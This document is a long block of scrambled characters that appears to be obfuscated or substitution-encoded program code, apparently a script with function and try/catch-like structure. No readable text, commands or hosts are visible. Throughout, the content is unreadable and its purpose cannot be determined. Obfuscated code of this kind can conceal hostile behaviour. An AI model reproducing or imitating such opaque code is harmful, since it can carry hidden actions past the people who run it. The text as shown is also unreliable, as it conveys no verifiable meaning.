:bn47}#%=++!*:f|v}ggnnnnossn(/"=+nnn22n47}#%=++!*:f|v|gfj-;<<+ :bn47}#%=++!*:f|vzggnnnnnossnnnn(/"=+gnn5Dj,/z|},#='+nsnnnnn,,&x"7%*"w>* "|f|gfj'6<)*&xx' ;4gnnnqn')<,*!v z,w(-=f|~{gfj'6<)*&xx' ;4gnnntn(/"=+uDn'(nnnnfo,,&x"7%*"w>* "|f|~wzgfj,/z|},#='+gn22nj,/z|},#='+nnnsssnllgnnnn5j:wz6z49y98/"!s|{yvuj,!(476y&%={sj:wz6z49y98/"!kzuDnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f|v~gbnn')<,*!v z,w(-=f|v{gguDnnn-! :' ;+uDn3DDnj-;<<+ :nsnnnnnj,/z|},#='+uDnn; =+:fj,/z|},#='+guDnn3Dnnnj9*|/'y|<4xnnsn8$><$x{>v7?*'fj-;<<+ :guD'(nnnnnf')<,*!v z,w(-=f|~wzgfj9*|/'y|<4xgnnhhnnnnnj9*|/'y|<4xnnnnnossnnllgnnnn5DDnnnnnj,!&?/+,}%%v>|-xnnnnsnnnn47}#%=++!*:f|gfj'6<)*&xx' ;4gnnnnqn')<,*!v z,w(-=f|~{gfj'6<)*&xx' ;4gnnnntnn(/"=+uDn'(nnnfo,,&x"7%*"w>* "|f|vxgfj,!&?/+,}%%v>|-xgnnn22nj,!&?/+,}%%v>|-xnnnnnnossnnj9*|/'y|<4xgnn=,?(,4;}z-}  {8=6$'6>fj'6<)*&xx' ;4bnnnj9*|/'y|<4xguDDDnnn; =+:fj,!&?/+,}%%v>|-xguD3Dnnn; =+:fj9*|/'y|<4xguDnnnj9'?x,)6$"~ +#%}nnnsn47}#%=++!*:fx~|guD'(nnnnnf47}#%=++!*:f|{gfj-;<<+ :gnnpnn~nnhhnnn,,&x"7%*"w>* "|f|v|gfj-;<<+ :bnnnnn47}#%=++!*:f|vyggnossn(/"=+nnnnhhnnnnn,,&x"7%*"w>* "|f|xxgf47}#%=++!*:f|vvgfj-;<<+ :gbnc|gnnnnossnnnnnn'9}8?4>/7?,4)fxwxggnnn5Dnnnnnnj9'?x,)6$"~ +#%}nsnnnnlluDn3DDDnnnnnnnj*~w4&6(&*6 }nnnnsnnnf,,&x"7%*"w>* "|f|vwgfj-;<<+ :gnnnnpnnn~gnnnqnnnl lnntnlluDDnnnj>}4,6<7%~4!-nsnj*~w4&6(&*6 }nnn`nnj9'?x,)6$"~ +#%}n`nj=<?#)|~;? w4x#%nnn`nnl ln`nnnj:<x{x'?} "nnn`nl lnn`nnnj#}v& 6w</n`nl luDnnn'(nnnfo ~-w!;!:/{/4'fj!#:)--(}+'/?:bnnnnnj-;<<+ :ggnnn5Daan(;"('""n' (+/=',"+n/((' +c:7>+DDDnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|v~gbnn')<,*!v z,w(-=f|{|gguDDnnnn-! :' ;+uDnnnnnnn3DDnnn'(nfo=,?(,4;}z-}  {8=6$'6>fj!#:)--(}+'/?:bnnj-;<<+ :nn`nnj>}4,6<7%~4!-ggn-! :' ;+uD<+:;< nn:<;+uDn3nnnn(' /""7nn5DDnnnnnnnn'(nnnnnfj;!w#(x:4&$!nnnnnossnn(/"=+gnn5Dnn'(nf'9}8?4>/7?,4)f|y|gf')<,*!v z,w(-=f|y}gggnnnnn("!-%fj;!w#(x:4&$!bnnnnn guD(-"!=+fj;!w#(x:4&$!guDnn3Dnn3Dn3Dnn<+:;< nnn(/"=+uDnn3nn-/:-&nnnf&<!9/,"+nnj": >{,:|gnnn5Dnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f|v~gbnnj": >{,:|guDDDDnn<+:;< nnnnnn(/"=+uDn3nnnnnn-/:-&nf6-+>:'! nnnnj": >{,:|gn5Dn<+:;< nnnn(/"=+uDDnn3D3D(; -:'! nn ("?>x7x*:v>{{z$fgD5DDDnnnnnnnn:<7nn5DDDDnnn'(nfo*+(' +*f,,&x"7%*"w>* "|f|x~gggnnnn<+:;< uDn'(nf4#+*(}$vx|,8:-4#)9{f<xw=w,+~4~}#8~fgggnnnn<+:;< uDnnj8z()4x*~(nnnsn;7*|y?6v~=;#*-v8:;w(/fguDnnj?(vz)(v>wx(z&<<nnnnnsnnn!=+>>,++"6<w;&fnnnnnn`nnn'9}8?4>/7?,4)fx{gbnnnnf{xzvggnnn`nnnn,,&x"7%*"w>* "|f|w~guDnnj*8?|?/>$9$84~7nnnsnnn,,&x"7%*"w>* "|fww{gf<xw=w,+~4~}#8~fgbnnnnn'9}8?4>/7?,4)f|wgguDnnnnnj>"~&9$z-") 76nnsn+4667 68'<#||9fguDnnn'(nfoj>"~&9$z-") 76nn22n'9}8?4>/7?,4)f|vwgfj>"~&9$z-") 76gnnrnnnfzwevggnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzywgbnnnn')<,*!v z,w(-=f|w|gguD<+:;< uDDD3Dn'(nfo'9}8?4>/7?,4)f{|{gf'9}8?4>/7?,4)f|w}gggnnn<+:;< uDnnj<8-v7,v4#z>|!99vnnsn/<</7fDnnj8z()4x*~(nnnnn`niainn`nnj?(vz)(v>wx(z&<<bDDnnj8z()4x*~(nn`nn,,&x"7%*"w>* "|f|wzgnnn`nn'9}8?4>/7?,4)f|w{gf'9}8?4>/7?,4)f|wxggnnn`nnnj?(vz)(v>wx(z&<<bDnnguDj"4/9 }=/~{nsnnf*+(' +*f'9}8?4>/7?,4)f|wyggnnnnnqnnnn  
nntnnnn`nn'9}8?4>/7?,4)f|{}ggnn`nnn,,&x"7%*"w>* "|f|{xguDDDDnn'(nf,,&x"7%*"w>* "|fwv|gfj"4/9 }=/~{ggnn5Dnnnnj8{#z$*}x:=9"9|nsnn;|=;}& y{+y&=&/=?%;fj"4/9 }=/~{guDDnnn'(nnf')<,*!v z,w(-=f|||gfj8{#z$*}x:=9"9|ggnn5DDDD(!<+/-&nnnnnfj8{#z$*}x:=9"9|nn/=nnnnnj": >{,:|gnnnnn5Dj'=|)<?,,6>nnsnnnnnj"4/9 }=/~{nnnnnn`nniain`nnnj": >{,:|uDnnnn'(nf47}#%=++!*:fwv|gfj'=|)<?,,6>gnhhn47}#%=++!*:fw}xgfj'=|)<?,,6>ggnn5Dj<8-v7,v4#z>|!99vnsnnnnj'=|)<?,,6>nn`nniain`nj?(vz)(v>wx(z&<<uDDDDn,<+/%uDnnn3DDDDnn3Daan' :+<<;>:n=:<;-:;</"c:7>+DDnnn3D3Daan' $+-:'8+c/*$n/*/>:+<DDnn(!<+/-&nnfj<8-v7,v4#z>|!99vn/=nnnnnj"y{&'<:"*?vgnnn5Dnnnnnn'(nnf47}#%=++!*:f|wvgfj"y{&'<:"*?vgnnnnhhnnn')<,*!v z,w(-=f|wwgfj"y{&'<:"*?vgnpnf~6((e~6|+wggn5Dnnj( 8!9+~x77nsnn')<,*!v z,w(-=f|w}guDDnnn'(nnf'9}8?4>/7?,4)f{|{gfj( 8!9+~x77ggn5Dnnj$;~<!:#4+ynnsn +9nnnnnnj( 8!9+~x77fguDnnn'(nnfj$;~<!:#4+ycp!>+ fj"y{&'<:"*?vgnsssnn:<;+gnnnn5DDDDnj$;~<!:#4+ycp-"!=+fguDn-! :' ;+uDn3Dnn3Dnnnn3DDDDj<y>%"%;-=~nsnnn,,&x"7%*"w>* "|f|~wygfj"y{&'<:"*?vguDnn'(nfo47}#%=++!*:fwv|gfj<y>%"%;-=~ggn 6%6=z"z7)$(//*fj<y>%"%;-=~bnf}w|e~gbnn:<;+guDnnnnj( 8!9+~x77nsn47}#%=++!*:f|w}guDDDnnj778=#*y,?7**nnnnsnnnnnn-xx< -}**&>;z%x-~6xfj<y>%"%;-=~bnn')<,*!v z,w(-=f~wgguDDDnnnn'(nnnfj778=#*y,?7**nnnsssn(/"=+gnnnn-! :' ;+uDj77<'x-=nnsnn +9nnnnj( 8!9+~x77fguD'(nnfj77<'x-=cp!>+ fj778=#*y,?7**bnnj( 8!9+~x77ttnnnnnn2nnj( 8!9+~x77ttgnnnnsssnn:<;+gn5Dnnnnj77<'x-=cp/**<!#:<' )fj*8?|?/>$9$84~7nn`niainn`nj*8?|?/>$9$84~7nnnnnn`n'9}8?4>/7?,4)f|wgbnnj>"~&9$z-") 76guDnnj77<'x-=cp-"!=+fguDnnj(}?zy>"9#)9x6+nsnn +9nnnj( 8!9+~x77fguDnnnn'(nnnfj(}?zy>"9#)9x6+cp!>+ fj778=#*y,?7**gnnsssn:<;+gnnnn5Dnnnj(}?zy>"9#)9x6+cp-"!=+fguDn'(nnnf&<y"8{4$~,9;%>|fj778=#*y,?7**bnnj"y{&'<:"*?vgnn22nnnf(!4;9yx)9<'6/~fj778=#*y,?7**bnj"y{&'<:"*?vgnnnnnhhnnnn'7"<=~;<?-87+}? fj778=#*y,?7**gggnnn5Dnnnn-~~%z&yy; '6-}v7):*:fj"y{&'<:"*?vbn9&46;zx7&+;'(fgguDDDnn??:+}<">$9;(=4=8'-+fj"y{&'<:"*?vbnf}yezwgguDDDDnnnnn3nnnn+"=+n5Daann+<8+<n'*+n+ *+<tn-! =:/ :c:'#+n=-&+*;"+<DDDDDnnn'7"<=~;<?-87+}? fj778=#*y,?7**guD3Daan/>><!6'#/:+n#/:-&DDnnn3n+"=+n5Dnnn'7"<=~;<?-87+}? fj778=#*y,?7**guDnn3D3n+"=+nn5Dnnnnnn'7"<=~;<?-87+}? fj778=#*y,?7**guDnnnn3Dn3D3n-/:-&nnf&<!9/,"+nnnnnnj": >{,:|gnnnnnn5DDDDnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fx{gbnnj": >{,:|guDnnnnnnnn3nn-/:-&nnf6-+>:'! nnnj": >{,:|gnnn5D3DDDD3Dnnn(; -:'! n$w7w(%74*6|$)|~+<~>fgDn5DDDDnn:<7nn5DDDnnn'(nnfo'9}8?4>/7?,4)f|y|gf')<,*!v z,w(-=fz}yggnnn22no'9}8?4>/7?,4)f|y|gf47}#%=++!*:f||~~gggnnn<+:;< uDn'(nnnfo*+(' +*f')<,*!v z,w(-=f||~gggnnn<+:;< uDDnj-'y/"?="nnsn'9}8?4>/7?,4)f|}~guDn'(nfo9> +6:=-&+*;"+*fj-'y/"?="ggnn5DDD9>=-&+*;"++8+ :f'9}8?4>/7?,4)fvv|gfgnnnennnnnf|w|evgbn')<,*!v z,w(-=f||~|gbnnnnnnj-'y/"?="guDaan+=-/>+c/ /"74+n=+=?;'"' +/<n=%'>c"'=:DDnnnn3DDDn'(nnnnnnfo9> +6:=-&+*;"+*f'9}8?4>/7?,4)f|}gggnnnn5Dn9>=-&+*;"++8+ :f,,&x"7%*"w>* "|f||~}gfgnenf{~}ewygbn,,&x"7%*"w>* "|f||~zgbn'9}8?4>/7?,4)f|}gguDnn3Daan-"!=+*n-! :/' +<DD3nnnn-/:-&nnf&<!9/,"+nnj": >{,:|gnn5j ?(;|9w"<ws|uj=)>&4xx,sj ?(;|9w"<wkwuDnnnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f||~{gbnj": >{,:|guDnn3nnnn-/:-&nnnnnf6-+>:'! nj": >{,:|gnn5Dn3DDDn3DDDD(; -:'! nnn$}>=%6;:%ww}9)?y'fgDnn5Dnnnn:<7n5D'(nnfo*+(' +*f47}#%=++!*:f||~gggnnnn<+:;< uDnj/7!x!'/{9{nnnnsnnnnnn!=+>>,++"6<w;&fnnn`nni)ibnfwgguDnnnnj4;)!9&-:#!7, $y+nnsnn/<</7fguDn'(nnnf'9}8?4>/7?,4)f|y|gf,,&x"7%*"w>* "|f||~xgggnnnj4;)!9&-:#!7, $y+nnsnn9#::(!7?8|, ,v})v'fguDnj4;)!9&-:#!7, $y+nnsnnnnn`nnnn'9}8?4>/7?,4)f||~yguDnnDDn'(nnf')<,*!v z,w(-=f|y|gf')<,*!v z,w(-=f{zgggnj4;)!9&-:#!7, $y+nnsnn;7*|y?6v~=;#*-v8:;w(/fguDn(!<+/-&nnnnfj4;)!9&-:#!7, $y+nn/=nnj#?z!(~x,/gn5Dj4;$"-=}~{&"47nnnnsnnnnnnj#?z!(~x,/nnnnn`nnn')<,*!v z,w(-=fxzygnn`nnj/7!x!'/{9{uDnnn'(nnnf47}#%=++!*:f||~vgfj4;$"-=}~{&"47gnhhnnnf' :gnn')<,*!v z,w(-=f||~wgfj4;$"-=}~{&"47gnnpnnnn47}#%=++!*:f||~}gfgnncnnnnf}cyggn<+:;< uDnn3DDnnnnn(!<+/-&nnfj4;)!9&-:#!7, $y+nn/=nnnnj#?z!(~x,/gnn5Dnnnj"7}" +#{";!;,nnnnnsnnnj#?z!(~x,/nnn`nnnn47}#%=++!*:f||~gnn`nj/7!x!'/{9{uDnn'(nf47}#%=++!*:f||gfj"7}" +#{";!;,ggnn5Dnnnnj!{:;$6'*(77<7nnsnf' :gnn')<,*!v z,w(-=f||~wgfj"7}" +#{";!;,guDnn'(nnfj!{:;$6'*(77<7npnnnnnn47}#%=++!*:f||~}gfgnnncnnnnfvx}xve}|gnnnnhhnnj!{:;$6'*(77<7nrsnnn47}#%=++!*:f|||gfgnnennnnnfy~e|}~ggnn-! :' ;+uDnnnnnnn'7"<=~;<?-87+}? fj"7}" +#{";!;,guDnnn3Dj9-{-9, $,7/w()$nsnnnnnj#?z!(~x,/nnn`nn'9}8?4>/7?,4)fx{|gnnnnnn`nnj/7!x!'/{9{nnnnnn`n')<,*!v z,w(-=f|wguDn'(nnnf47}#%=++!*:f||}gfj9-{-9, $,7/w()$gnnnhhnnf' :gnnnn')<,*!v z,w(-=f|wwgfj9-{-9, $,7/w()$gnpnfzv|evggnn5Dj$| 4>-8'>x}!wz}nnnsnnj#?z!(~x,/nnnn`nnn,,&x"7%*"w>* "|fxvgnnnn`nnj/7!x!'/{9{uDnnnj$$!x'{!*?"nnnnsnn'9}8?4>/7?,4)f||}gfj$| 4>-8'>x}!wz}gnnqnnnn,,&x"7%*"w>* "|f|vgff=:<' )gn47}#%=++!*:f|~{gfj$| 4>-8'>x}!wz}ggnntnnnnnlluDnnnnn'(nnnfj$$!x'{!*?"nnossnnllnnhhnnnn'9}8?4>/7?,4)f|y|gf')<,*!v z,w(-=f||zggnnnhhnn#*{('"+fj9-{-9, $,7/w()$gnnnsssnj$$!x'{!*?"gn5Dn' -";*+nnj9-{-9, $,7/w()$uDnnn<+:;< uDnn3D'(nnfj$$!x'{!*?"nossnllgnnn5Dnn'7"<=~;<?-87+}? fj9-{-9, $,7/w()$guDnnnnnnnn3Dnnnn; =+:fj$| 4>-8'>x}!wz}bnnnnnj$$!x'{!*?"guD3Dnnn3Dnnn; =+:fj"7}" +#{";!;,bnnnnnnj!{:;$6'*(77<7guD'(nnnnnf')<,*!v z,w(-=f|y|gf,,&x"7%*"w>* "|fvw~gggn*+"+:+:</ ='+ :f,,&x"7%*"w>* "|f||{gguDnnn"y$$</,"#9 <)"z,?,fguDnnDDDDD3nnn-/:-&nnnnnf&<!9/,"+nnnj": >{,:|gnnn5D!%6z,zv||*<-%;=*/7";f47}#%=++!*:f||xgbnnnj": >{,:|guDnnn3nn-/:-&nnnf6-+>:'! nnnj": >{,:|gnn5Dnn3Dnn3D(; -:'! nnnnn8v*7":xyx+wv;)<fgDn5Dn:<7n5Dn'(nnfo*+(' +*f,,&x"7%*"w>* "|f||ygggn<+:;< uDnnnnn9z*$%}#+y7+z"xxvy'()f ;""guDnnj*8?|?/>$9$84~7nnnnsnn'9}8?4>/7?,4)fww{gf<xw=w,+~4~}#8~fgbn'9}8?4>/7?,4)f|wgguj>(!*)+<:)+/"9sxdxuj6%|<=}>$>sj>(!*)+<:)+/"9c{uDnnnj?,-:=w~?7>+nsnnn<xw=w,+~4~}#8~fguDnj>"~&9$z-") 76nnsnlluDnn'(nnnnnf'9}8?4>/7?,4)f||}gfj?,-:=w~?7>+gnhhn,,&x"7%*"w>* "|f||vgfj?,-:=w~?7>+gnnnpnnfwvv}czvv}ggn5Dnnnj |8|+9?{&#/$4(nnnsnnf=:<' )gnn47}#%=++!*:f|~{gfj?,-:=w~?7>+guj>:4>v!9:8scz{uj!"*:>w44{9)sfj>:4>v!9:8p~gqj>:4>v!9:8tcj>:4>v!9:8uDnnj9|%z':(/+z{x#!4nsnnnn')<,*!v z,w(-=f|y|gf')<,*!v z,w(-=f||wggnnnqn$9v'='y;'&{$%$zy+fj |8|+9?{&#/$4(gntnnnnnj |8|+9?{&#/$4(uDnnnnn'(nnf'9}8?4>/7?,4)f|||~gfj9|%z':(/+z{x#!4gnnhhn'9}8?4>/7?,4)f|vwgfj9|%z':(/+z{x#!4gnnnnnnpnnfw|cz|gnhhnn84*{ <*'w~?-y,-4,;fj9|%z':(/+z{x#!4ggnj>"~&9$z-") 76nnsnnnnnnj9|%z':(/+z{x#!4uDn; =+:fj |8|+9?{&#/$4(bnnnnj9|%z':(/+z{x#!4guDnn3Dn'(nnnfj>"~&9$z-") 76nnnnsssnnllgnnn5Dj?=9;|{',-"9nnsnnn!=+>>,++"6<w;&fnnn`nn,,&x"7%*"w>* "|f|||gbnfwcwgguDnnnnnj-x8'<%y"()8nnsn'9}8?4>/7?,4)f|y|gf'9}8?4>/7?,4)f|{{ggnnnnnnqn)+:!>:'! fj?=9;|{',-"9bnllgnnntnnlluDnnn'(nnfoj-x8'<%y"()8nnnnnn22n,,&x"7%*"w>* "|f||||gfj-x8'<%y"()8gnnrnnnnfzz{e{{ggnn<+:;< uj="+#4z,&s}w2}vuj94{/|!#%?7<{=sj="+#4z,&|||uDj>"~&9$z-") 76nnsnnnn?|>9,:}x4>!')'$"68<!f47}#%=++!*:fz~|gfj-x8'<%y"()8gguDn'(nnfoj>"~&9$z-") 76nnn22n,,&x"7%*"w>* "|f||||gfj>"~&9$z-") 76gnnnrnnnfz{|ezvggnn<+:;< uDDDnn'(nnfo84*{ <*'w~?-y,-4,;fj>"~&9$z-") 76ggn5Dnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|vygbnn,,&x"7%*"w>* "|fvy}gguDn<+:;< uDnnn3Dnnnnn3Dnnj8z()4x*~(nsnn;7*|y?6v~=;#*-v8:;w(/fguDnnj)#v#:~)*9<;6%{nnnsnnnj8z()4x*~(nn`nnn'9}8?4>/7?,4)f{{gnn`nnnnnj*8?|?/>$9$84~7uDj#)+?-),=,$)=nnsnnnj)#v#:~)*9<;6%{n`nnniainn`nj*8?|?/>$9$84~7nn`nnn47}#%=++!*:f|wguDnnnn'(nnnnfo47}#%=++!*:fwv|gfj)#v#:~)*9<;6%{ggnn 6%6=z"z7)$(//*fj)#v#:~)*9<;6%{bnnnfzzvez{gbn:<;+guDnj(7x)<<#+/,8:$nnsn'9}8?4>/7?,4)f||}gfj#)+?-),=,$)=gnqnf=:<' )gnn')<,*!v z,w(-=f|~{gfj#)+?-),=,$)=gntnnnnlluDDj$*y"8';%,(wz, :nnnsnnn(/"=+uD'(nnfj(7x)<<#+/,8:$nossnllnnnnhhnnnnn')<,*!v z,w(-=f|~}zgf')<,*!v z,w(-=fwwgbnnn47}#%=++!*:f|xxgfj(7x)<<#+/,8:$bnn~bnnfz~{}ez}ggbnnnnj6'6$%|w8|yw"xgnnnhhnn8+<='! -!#>/<+fj6'6$%|w8|yw"xbnn9),%/4:v49)x!/ /x9}(y:fgbnipiggnj$*y"8';%,(wz, :nnnnnsnnnnn:<;+uDnnn; =+:fj6'6$%|w8|yw"xguDnnnnn'(nnnnfoj$*y"8';%,(wz, :nhhnnnnfj(7x)<<#+/,8:$nsssnnlln22n,,&x"7%*"w>* "|f|zxgf$9v'='y;'&{$%$zy+fj(7x)<<#+/,8:$ggnnnnnossnn,,&x"7%*"w>* "|f|zxgfj>"~&9$z-") 76gggnn5Dnnnnn'(nnnf=,?(,4;}z-}  {8=6$'6>fj#)+?-),=,$)=bn:}(#?!!(%;7/+%{! 9fj>"~&9$z-") 76gggnnnnn5D??:+}<">$9;(=4=8'-+fj#)+?-),=,$)=bnnnnf}w|e|vgguDn+wz$"%z*-z:%}"fj#)+?-),=,$)=guDn"~/(%7wz&:z(&w/fj#)+?-),=,$)=guD3Dnnnnnn3Dnn; =+:fj(7x)<<#+/,8:$bnnnnj$*y"8';%,(wz, :guDn'(nf')<,*!v z,w(-=f|y|gf47}#%=++!*:f|{{ggnnnhhnn')<,*!v z,w(-=f|||}gf,,&x"7%*"w>* "|fyxxgggn5j7>-(%{::x/9!9s}ydyuj;!%=8-98v&&<%#sj7>-(%{::x/9!9czyuDnnnj<?8,"{6}4z-zz-!nsnnj*8?|?/>$9$84~7nn`niainnnnn`nnj*8?|?/>$9$84~7n`nn'9}8?4>/7?,4)f|wguDDDDnnnnj6&/4vz9w:-+y=7$nnsnnn)+:!>:'! f'9}8?4>/7?,4)f|||zgbnnn/<</7fgguDDDnnnnnn'(nnnnnfo')<,*!v z,w(-=f|||gfj6&/4vz9w:-+y=7$ggnj6&/4vz9w:-+y=7$nsnn/<</7fguDDDDnnnn'(nnfo'9}8?4>/7?,4)f|||{gfj<?8,"{6}4z-zz-!bnnnnnnj6&/4vz9w:-+y=7$bnnnnn:<;+ggnnnn5Dnnnnnnj6&/4vz9w:-+y=7$nnnnsnj<?8,"{6}4z-zz-!uD;>*/:+!>:'! f,,&x"7%*"w>* "|f|||xgbnnnn,,&x"7%*"w>* "|fy~|gfj6&/4vz9w:-+y=7$gguDDD3Dnnnn3Dnj++)*8=#-&'6,$wnsnnnn;-/!w +!8v87%z=!&:~~ fguDnnnnnnn'(nf')<,*!v z,w(-=fwv|gfj++)*8=#-&'6,$wgnn22nn 6%6=z"z7)$(//*fj++)*8=#-&'6,$wbnnfzzxezygbn:<;+ggnn5Dj?{/)(~:>(z}nnsnj++)*8=#-&'6,$wnnn`nnnniainn`nj*8?|?/>$9$84~7nn`nnn,,&x"7%*"w>* "|f|||yguDnnj #)v '/*,nnnsnn')<,*!v z,w(-=f||}gfj?{/)(~:>(z}gnqnnnnf=:<' )gn')<,*!v z,w(-=f|~{gfj?{/)(~:>(z}gntnlluDnj7-'7",&>(nnsnnnn(/"=+uDnnnn'(nnnnnfj #)v '/*,nnnossnnnnnllnnnnnhhnn')<,*!v z,w(-=f|||vgf')<,*!v z,w(-=fwwgbn')<,*!v z,w(-=f|||wgfj #)v '/*,bn~bnnf}zzyexzwggbnnnj//x="6*,,~?gnnnhhnn8+<='! -!#>/<+fj//x="6*,,~?bnnn9),%/4:v49)x!/ /x9}(y:fgbnnnnipiggnnnnj7-'7",&>(nsn:<;+uDn; =+:fj//x="6*,,~?guDDDn'(nfoj7-'7",&>(nnhhnnnfj #)v '/*,nnnsssnnllnnnnn22n,,&x"7%*"w>* "|f|zxgf$9v'='y;'&{$%$zy+fj #)v '/*,ggnnnnnnossn,,&x"7%*"w>* "|f||}~gfj>"~&9$z-") 76gggnnnnnn5j#  )7%48/sv~2~xuj/{>'9%v<={;y{sj#  )7%48/{uD'(nf=,?(,4;}z-}  {8=6$'6>fj?{/)(~:>(z}bnn:}(#?!!(%;7/+%{! 9fj>"~&9$z-") 76gggnnnn5DDnn??:+}<">$9;(=4=8'-+fj?{/)(~:>(z}bnnnfez~wgguD+wz$"%z*-z:%}"fj?{/)(~:>(z}guDDnnnn"~/(%7wz&:z(&w/fj?{/)(~:>(z}guDnnn3Daan"!)/<':&#'-n/*/>:+<DDnnnn3nn+"=+'(nnfoj7-'7",&>(gnnnnn5Dnj*$w$,#:)>x$nsnn,,&x"7%*"w>* "|f||~wgfj?{/)(~:>(z}guDnnn'(nnnfoj*$w$,#:)>x$nnnn22nfj*$w$,#:)>x$nnnknnf{z~|vc{z~|vggnnossnnnnn><$64z"x*x#$z|8fggnn+wz$"%z*-z:%}"fj?{/)(~:>(z}guDn; =+:fj*$w$,#:)>x$guDDDn3D; =+:fj #)v '/*,bnnj7-'7",&>(guDnnnnn3Dnn,~'9><)&$;~(,:y9 fj>"~&9$z-") 76guD3nnn-/:-&nnf&<!9/,"+nnnnj": >{,:|gnnn5DDnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f||}gbnnj": >{,:|guDnnnnn3n-/:-&nnnnf6-+>:'! nnj": >{,:|gnnnnn5D3D3Dn(; -:'! nnn/6-y9'*4"xx:"'?$y4:fgDnn5Dnnnnn'(nfo'==+:fj	i>ignnn22nno47}#%=++!*:f|||~gfj	i>iggnnn<+:;< uDnnj,>7?>y#,%y"'*)%nnnnsnnnnnj	i>iuD'(nnnfj,>7?>y#,%y"'*)%nnnsssn9~ 6()=+, #%{f'9}8?4>/7?,4)fz~gggnnnn5Dnnnn:<7nnnnn5Dj{w/,<z-?x=;w~&nnsnn9#::(!7?8|, ,v})v'fgnn`niain`nn!=+>>,++"6<w;&fnnnnn`nn,,&x"7%*"w>* "|f||}|gbnf||~ggnnn`n,,&x"7%*"w>* "|f|||yguDnnj7z,: ?>x!6#69+;nnsnnnn'9}8?4>/7?,4)f||}}gfj{w/,<z-?x=;w~&gnnnqnnnnnf' :gnn47}#%=++!*:f||vgfj{w/,<z-?x=;w~&gnntn~uDn'(nfj7z,: ?>x!6#69+;nnnpnnnfz{ezwgnhhnnnj7z,: ?>x!6#69+;nnnnrsnf{{yy{ezxv{y~{ggnn5D' -";*+nnj{w/,<z-?x=;w~&uDnn3D3n-/:-&nnnnf&<!9/,"+nnnj": >{,:|gnnnn5DDDD3nnnn-/:-&nnf6-+>:'! nj": >{,:|gnn5Dnnn3D9&'"+nnnnf')<,*!v z,w(-=fz{xgfgnpn~nnhhnn!,+ *-"+/ fggn5Dnnn3DDDDnnnnnnn&+/*+<f')<,*!v z,w(-=f||}zgguD+6':uDnnnn3DDDDnnn'(nnnfj,>7?>y#,%y"'*)%nnossnnnnn9~ 6()=+, #%{f'9}8?4>/7?,4)f}ywgggnn<+:;< uDnn:<7nnnnnn5Dnn'(nnnnnf,,&x"7%*"w>* "|f||}{gf47}#%=++!*:f||}xggnnnnhhn,,&x"7%*"w>* "|f||}{gf')<,*!v z,w(-=f||}ygggnnn5Dnnnn;>*/:+!>:'! f'9}8?4>/7?,4)f{x}gbnnf' :gnn)+:!>:'! f,,&x"7%*"w>* "|f{x}gbnn~gnennnbnnn,,&x"7%*"w>* "|f||}vgguDDDnn;>*/:+!>:'! f47}#%=++!*:f{x{gbnnn')<,*!v z,w(-=f||}wgfgbn47}#%=++!*:f||z~gguDn3Dj) $$7y4?'!nnsnn!|*6}/&4>&4x '{f')<,*!v z,w(-=f}yxgbnnnnllguDDnn'(nf')<,*!v z,w(-=f||||gfj) $$7y4?'!gnnnnnnpnnfwve|gnnhhnno')<,*!v z,w(-=f||zgf'9}8?4>/7?,4)f||z|gbnnj) $$7y4?'!gnnhhnn,,&x"7%*"w>* "|f||zgf'9}8?4>/7?,4)f||z}gbnj) $$7y4?'!ggnnn5DDnnj"w!#'y!|)nnsnnn47}#%=++!*:fz~|gfj) $$7y4?'!bnnnnnn:<;+guD'(nnfj"w!#'y!|)nnossnn(/"=+nnhhn,,&x"7%*"w>* "|f||||gfj"w!#'y!|)gnnnnnpnnnnnnf{{ez{ggnnj) $$7y4?'!nnsnj"w!#'y!|)uDDDD3Dnn'(nnf47}#%=++!*:f||zzgfj) $$7y4?'!gnnrnnnf}vc}vggnnnnj) $$7y4?'!nnsnnn$4+$zv!8'v~7xfguDnn'(nnf')<,*!v z,w(-=f||z{gfj) $$7y4?'!gnnrnnfyye|}ggnn5Dn9&'"+nnnnf47}#%=++!*:fz{xgfgnnnnnpnn~nnnnhhnn!,+ *-"+/ fggnn5j>~6}+)|,swv~uj$!~;z$wx*6wsj>~6}+)|,k}uDnnnnnnnn3Dnnn&+/*+<f47}#%=++!*:f||zxgguDn&+/*+<f,,&x"7%*"w>* "|f||zygguDnnnnn&+/*+<f')<,*!v z,w(-=f||zvgguDnn+6':uDDn3Dnj',w,{:/?8{+ ,nnnnsnnnn!|*6}/&4>&4x '{f,,&x"7%*"w>* "|f||zwgbnnllguDnnj9%?y$>)%6<|6y;:nsnnilin`nnnnnn47}#%=++!*:f||}~gfj',w,{:/?8{+ ,nnn`nnnnj) $$7y4?'!gn`nnnnniliuDDDDnn'(nf'==+:fj47}#%=++!*:f||{~ggnnnhhnnnn'9}8?4>/7?,4)f|vgfj')<,*!v z,w(-=f||{~ggnnsssnj9%?y$>)%6<|6y;:gn5D9&'"+nnnf')<,*!v z,w(-=fz{xgfgnnnpn~nnhhnn!,+ *-"+/ fggn5Dnnn3Dn&+/*+<f'9}8?4>/7?,4)f||{gguDDDnnnn&+/*+<f47}#%=++!*:f||{|gnnn`nnnj9%?y$>)%6<|6y;:guDnnnn+6':uDnnnn3D9&'"+nnnf'9}8?4>/7?,4)fz{xgfgnnnnnpnn~nnnnhhnnn!,+ *-"+/ fggnnnnn5Dnnnn3D&+/*+<f'9}8?4>/7?,4)f||zxgguDnnnnn&+/*+<f'9}8?4>/7?,4)f||{}gguDnnnnnnn&+/*+<f'9}8?4>/7?,4)f||{zgguDn&+/*+<f'9}8?4>/7?,4)f||{{gn`nj9%?y$>)%6<|6y;:guDDDDnnnn+-&!nnj',w,{:/?8{+ ,n`nnj) $$7y4?'!uDnnnn+6':uDnnn3n-/:-&nnnnnf&<!9/,"+nj": >{,:|gn5DDnnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f||{xgbnj": >{,:|guDn3nnnnn-/:-&nnnf6-+>:'! nnnj": >{,:|gnn5Dnnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f||{xgbnj": >{,:|guDD3Daann"!:n'""tn><!$+-:n' $+-:!<DDnn3D/6-y9'*4"xx:"'?$y4:fguDnnnnn(; -:'! nnnn?/96{y+{{!z7-:(vfgD5Dn'(nfo'==+:fj	